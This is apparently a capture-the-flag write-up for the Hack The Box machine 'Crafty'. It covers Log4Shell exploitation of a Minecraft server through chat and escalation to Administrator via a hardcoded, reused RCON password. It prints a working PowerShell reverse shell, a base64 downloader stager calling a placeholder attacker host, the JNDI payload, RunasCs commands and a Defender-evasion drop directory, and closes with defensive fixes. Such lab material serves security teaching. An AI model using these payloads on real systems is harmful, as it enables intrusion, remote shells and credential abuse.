- OS: Windows
- Domain / vhosts:
crafty.htb,play.crafty.htb
Summary
A small Minecraft fan site fronts a Java 1.16.5 server. The server runs
Spigot/Paper, which embeds log4j 2.x with the unpatched
JndiLookup plugin — i.e. CVE-2021-44228 (Log4Shell). Anything the
server logs is run through log4j’s lookup processor first, and chat
messages from any player are logged. Joining the server in offline mode
and pasting ${jndi:ldap://attacker:1389/X} into chat causes the JVM
to issue an LDAP query, follow the returned reference URL, fetch a
remote class, and execute its static initializer — code execution as
the svc_minecraft service account.
User flag is in that account’s Desktop. For root, a homegrown plugin
playercounter-1.0-SNAPSHOT.jar sits in server\plugins\. Decompiling
it (javap is enough; CFR / JD-GUI work too) shows a hardcoded RCON
password used to query the live server every tick. That same password
is also the local Administrator password — credential reuse between
service and admin accounts. Running a token-impersonation tool
(RunasCs) with those credentials and a Powershell reverse-shell
payload yields an admin shell and root.txt.
The chain in one line: Log4Shell over Minecraft chat → svc_minecraft
shell → exfil + decompile plugin → reused Administrator password →
RunasCs admin shell.
Recon
80/tcp Microsoft IIS 10.0
25565/tcp Minecraft 1.16.5 (protocol 754)
A focused two-port nmap is enough; nothing else opens up. The IIS site
is a static “Crafty - Official Website” template, with a
“Join 1277 other players on play.crafty.htb” footer that suggests a
second vhost. Adding both crafty.htb and play.crafty.htb to
/etc/hosts is harmless and avoids guessing later.
The Minecraft port speaks the standard server-list-ping handshake. Sending the protocol-754 handshake-then-status-request returns a JSON status reply that includes the version string:
"version": { "name": "1.16.5", "protocol": 754 }
Minecraft 1.16.5 is the canonical Log4Shell-vulnerable Java edition.
The chat handler routes log messages through log4j and JndiLookup
remains enabled. That alone is enough to pivot to foothold.
Foothold — Log4Shell via Minecraft chat
Three pieces are needed:
- A JNDI/LDAP server that, when queried, returns a Reference pointing
at an HTTP-served class whose static initializer runs the attacker’s
command. Pre-built kits include
marshalsec(build with maven) orJNDI-Injection-Exploit(single fat-jar release). The latter is simpler: download the-all.jarfrom welk1n’s release and run it directly. - A reverse-shell stager. PowerShell over the wire, downloaded from our HTTP server.
- A Minecraft client that can join an offline-mode server and send
chat.
Minecraft-Console-Client(MCC, MCCTeam) is a single binary that does exactly this.
Server is in offline mode (the bot joins as any username with no auth), so MCC pairs naturally:
./mcc bot - crafty.htb 25565
> prompt = joined. Anything typed becomes a chat line. Each chat line
is logged by log4j on the server side, so a JNDI lookup in the message
fires server-side.
Stager
r.ps1 is a vanilla TCPClient reverse shell. Crucially, the listener
should be wrapped in a while true loop or nc -k-style restart, not
plain nc -lvnp 4444 — connections from the JNDI exploit will fire
multiple times (once per gadget probe per JNDI lookup), and a one-shot
listener silently RSTs the second-and-later attempts:
while true; do nc -lvnp 4444 ; sleep 1 ; done
r.ps1 content:
$c = New-Object System.Net.Sockets.TCPClient("<ATTACKER>", 4444)
$s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
$d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
$r = (iex $d 2>&1 | Out-String)
$r2 = $r + "PS " + (pwd).Path + "> "
$rb = ([text.encoding]::ASCII).GetBytes($r2)
$s.Write($rb, 0, $rb.Length); $s.Flush()
}
$c.Close()
Served on port 8000 with python3 -m http.server 8000.
JNDI server
JNDI-Injection-Exploit takes the command to run on the victim and
the attacker IP, and prints LDAP/RMI URLs to plant in the JNDI lookup:
B64=$(python3 -c "import base64; print(base64.b64encode(\
\"IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>:8000/r.ps1')\"\
.encode('utf-16le')).decode())")
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "powershell -enc $B64" -A <ATTACKER>
Output prints the LDAP URLs:
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
ldap://<ATTACKER>:1389/<key>
Trigger
In MCC, send the JNDI lookup as chat:
${jndi:ldap://<ATTACKER>:1389/<key>}
The server logs the line, log4j evaluates the lookup, JNDI fetches the
LDAP reference, follows it to the HTTP-served ExecTemplateJDK8.class,
and runs Runtime.exec in the static block — which spawns
powershell -enc <stager-b64>, downloads r.ps1, and pipes it into
IEX. The reverse shell lands as crafty\svc_minecraft.
PS C:\users\svc_minecraft\server> whoami
crafty\svc_minecraft
user.txt is one directory up:
type ..\Desktop\user.txt
Two payload-tokenisation gotchas worth flagging
Runtime.exec(String)on Windows splits the command on whitespace (StringTokenizer), then reconstructs a cmdline forCreateProcess.powershell IEX(IWR -useb http://.../r.ps1)becomes argv["powershell", "IEX(IWR", "-useb", "http://.../r.ps1)"]and PowerShell can’t parse it. The reliable form ispowershell -enc <single-base64-blob>— a single arg with no spaces.- A long base64 (the inline reverse shell, ~1.3 KB) silently failed
on the original
cmd /c powershell -enc <very-long-b64>form. The short downloader stub above (~200 chars) works first try; have it fetch the full reverse shell from a separate HTTP server.
User flag
type ..\Desktop\user.txt from the svc_minecraft\server cwd. Save a
copy to your engagement folder before terminating the box —
spawn-IPs rotate and each spawn is a fresh container.
Privilege escalation — JD-GUI plugin → admin pw → RunasCs
server\plugins\ contains exactly one custom JAR:
plugins\playercounter-1.0-SNAPSHOT.jar (~10 KB)
A bespoke plugin in a CTF box is a strong signal — it almost always
embeds a credential. Exfil the JAR to your machine. The simplest
upload path that works first try is Net.WebClient.UploadFile to a
Python HTTP server that accepts POST/PUT — you’ll need to strip the
multipart-form wrapper afterwards (find first \r\n\r\n, find last
\r\n--<boundary>, the bytes between are the file).
Decompile. javap -p -c -constants is enough; CFR / JD-GUI / Procyon
are nicer but optional. The interesting bit:
6: ldc // String 127.0.0.1
8: sipush 27015
11: ldc // String <RCON_PASSWORD> // 13 chars, alphanum
16: invokespecial Method Rcon.<init>(String;I[B)V
...
56: ldc // String C:\\inetpub\\wwwroot\\playercount.txt
The plugin connects to 127.0.0.1:27015 (RCON) with a hardcoded
password, fetches the player count, and writes it to the IIS site’s
webroot. The hardcoded password is the entire bug. The same string
is also Administrator’s Windows password — boring credential reuse
between a game-service account and a local admin account.
RunasCs and the Defender quarantine quirk
RunasCs.exe is a token-impersonation tool that lets you spawn a
process as another user given username + password, without needing
runas (which can’t take a password on stdin) or remote-execution
helpers. Released as a single .NET binary.
Two things to know up front:
-
The default
RunasCs.zipfrom antonioCoco’s GitHub is signature-flagged by Defender. Even with real-time protection off, writing the file to certain paths (e.g.%USERPROFILE%\server\) silently makes it disappear after upload.C:\Windows\Tasks\is a writable path that’s typically excluded from on-write scanning and is the canonical drop directory:iwr -useb http://<ATTACKER>:8000/RunasCs.exe -OutFile C:\Windows\Tasks\rcs.exe Test-Path C:\Windows\Tasks\rcs.exe # True, 51712 bytes -
RunasCs’s reverse-shell argument is one long string. Pass it as
'powershell -enc <b64>'(single-quoted) so PowerShell tokenises the whole thing as a single arg to RunasCs. Use a different port for the admin callback — your foothold listener is still busy withsvc_minecraft.
Generate a second base64 stager pointing at port 4445, start a second loop-listener on 4445, then:
C:\Windows\Tasks\rcs.exe Administrator <RCON_PASSWORD> 'powershell -enc <ADMIN_B64>'
The admin shell drops in on the 4445 listener:
crafty\administrator
type C:\Users\Administrator\Desktop\root.txt
Why each step worked
- Log4Shell on Minecraft chat: log4j ≤ 2.14.1 evaluates
${jndi:...}lookups in any logged message. Chat messages are logged. The combination is direct unauth RCE on any Minecraft server running 1.16.5 / 1.17.x with the original log4j shipped. Mojang patched the client first (silently disabling lookups), then the server, but the Spigot/Paper artifact this box runs predates the server-side fix. - Reference resolution to a remote class: pre-8u191 / pre-7u201
default
com.sun.jndi.*.object.trustURLCodebase=true. The server follows the LDAP reference’sfactoryURLto an HTTP location and loads a class from it. JNDI-Injection-Exploit’sExecTemplateJDK8is justRuntime.exec(<your-command>)in a static initializer. - Hardcoded creds in plugin JAR: a CTF-style oversight, but the generalisation is real — game / chat / monitoring plugins frequently bake in service credentials and ship to production. Bytecode is read-only, not secret.
- Password reuse between
svc_minecraft/RCON andAdministrator: classic. A “service” password being the local admin password is one of the most reliable lateral patterns on small Windows fleets. AD or not, every cred you find is a candidate spray target against every account you can name. - RunasCs to convert a known-creds-pair into an interactive
process: equivalent of
runas /user:Administrator <cmd>but with the password supplied programmatically. Bypasses the interactive password prompt that realrunasrequires.
Counterfactuals
- Bump log4j to 2.17.1 (or set
-Dlog4j2.formatMsgNoLookups=trueon launch). Either kills the exploit, the JVM property is the no-deploy fix. - Don’t ship plugins that call
new Rcon(host, port, password)with a literalStringargument. Read it fromconfig.ymlinstead; that file at least exists in the operator’s mental model as “secret”. - Rotate the RCON password and detach it from
Administrator’s password. One-rule defence: service accounts and admin accounts must not share a password. - Apply Windows password quality requirements that would have made a 13-char alphanum hardcode impractical (admin accounts on domain-joined hosts; not applicable to a standalone box, but the same hygiene holds).
- Default-deny outbound from the server VLAN. The chain still fires (LDAP fetch happens) but the reverse shell can’t dial home. With egress allowlist, the practical exploitability of Log4Shell drops dramatically.
Key Takeaways
- Wrap reverse-shell listeners in a restart loop. A one-shot
ncsilently RSTs the second connection of a multi-probe payload — and Log4Shell-class exploits often probe several gadgets in sequence. An hour can disappear into “why doesn’t my reliable payload callback?” and the only difference is the listener died after the first hello. Runtime.exec(String)whitespace tokenisation is a recurring trap. Anything more complex than one binary + simple args either needscmd /c(Windows) /bash -c(Linux) wrapping, or — better — a single-arg-enc <base64>form for PowerShell.- Long base64 args fail intermittently through the
Runtime.exec → CreateProcesspath. Keep the inline payload tiny (a downloader stub) and host the actual stager via HTTP. C:\Windows\Tasks\as a benign drop dir is worth keeping in your back pocket — writable by non-admins, typically excluded from on-write Defender scanning, and unusual enough that custom EDR rules rarely cover it.- Defender state is not the same as Defender outcomes. This box
reports
RealTimeProtectionEnabled = Falsebut still silently-deletes signed-bad binaries on write into thesvc_minecraftprofile dir. Trust file-existence, not configuration claims. - Treat a custom plugin/binary as a likely credential hit before the box even spawns. Time to JD-GUI is the bottleneck on every CTF that does this; have the toolchain warm.
References
- log4j CVE-2021-44228 advisory.
- 0xdf, “HTB: Crafty” — https://0xdf.gitlab.io/2024/06/15/htb-crafty.html
- IppSec, “Crafty” video walkthrough — https://ippsec.rocks/?#Crafty
- antonioCoco/RunasCs releases — https://github.com/antonioCoco/RunasCs
- welk1n/JNDI-Injection-Exploit — https://github.com/welk1n/JNDI-Injection-Exploit
- MCCTeam/Minecraft-Console-Client — https://github.com/MCCTeam/Minecraft-Console-Client